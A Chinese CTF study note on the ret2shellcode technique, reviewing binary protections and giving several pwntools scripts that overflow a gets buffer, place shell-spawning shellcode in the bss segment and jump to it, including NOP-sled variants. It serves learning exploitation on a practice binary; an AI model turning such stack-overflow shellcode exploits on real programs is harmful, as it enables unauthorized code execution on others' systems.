一次关于shellcode位置研究的记录

发布于 2020-12-27  533 次阅读


(未完善)待续..........

例子是ret2shellcode 和 乌云Rop 入门 level1

image-20201227223349555/

保护全关 NX保护没开 栈上可执行

复习一下各种保护

image-20201227234709252

RELRO: Full RELRO -- 重定向 重定位表只读。重定位表即.got 和 .plt 两个表

Canary: 栈溢出保护 每次都要检查Canary 的值

NX: Non-Executable Memory

PIE:PIE(position-independent executable, 地址无关可执行文件)技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术

ALSR:(地址随机化) 堆、栈、共享库映射等线性区布局的随机化

image-20201227223451090

发现gets

可以覆盖主函数 返回地址 成 bss段地址 放入shellcode 在bss上 。。

buf2 为bss段

image-20201227225854408
image-20201227230110011

bss段 rwxp 可读可写

可以把shellcode放到 bss段上

先用peda pattern create 150 随机生成150个字符

输入过后 用pattern offset 0x41384141 算出偏移值

image-20201227230418734
image-20201227230527761

标准exp

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = process("./ret2shellcode")
bssaddress=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode+(112-len(shellcode))*'A'+p32(bssaddress)
io.sendline(payload)
io.interactive()

看见shellcode 都放前面我就觉得why 为什么放前面 然后就做了点无聊的探究

image-20201227231020467

最后bssaddress 是直接就跳到bss上shellcode地址上执行的 所以shellcode放最前面是为了好定位shellcode的地址

当然可以用nop 覆盖这样也可以滑翔shellcode的地址

下面贴出修改过后的两种写法(实际上是自找麻烦 哈哈哈)

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = process("./ret2shellcode")
shellcode=asm(shellcraft.sh())
bssaddress=0x0804A080+20
print(len(shellcode))
len1=112-len(shellcode)-20
payload=20*'a'+shellcode+len1*'b'+p32(bssaddress)
io.sendline(payload)
io.interactive()

在这里shellcode不是放最前面而是放 20个a 字符后对应的 bssaddress shellcode的位置也要变一变 bssaddress+20才是shellcode的位置

且这里 strncpy 只是复制0x64==100字符 shellcode要放在前100位字符里

image-20201227233823263

核心原理 就是跳到可以运行的,我们构造的shellcode的地址上,当然可以填充nop滑行过去 nop+shellcode+retaddress

乌云Rop level1同样的原理


山鸟和鱼不同路,从此山水不相逢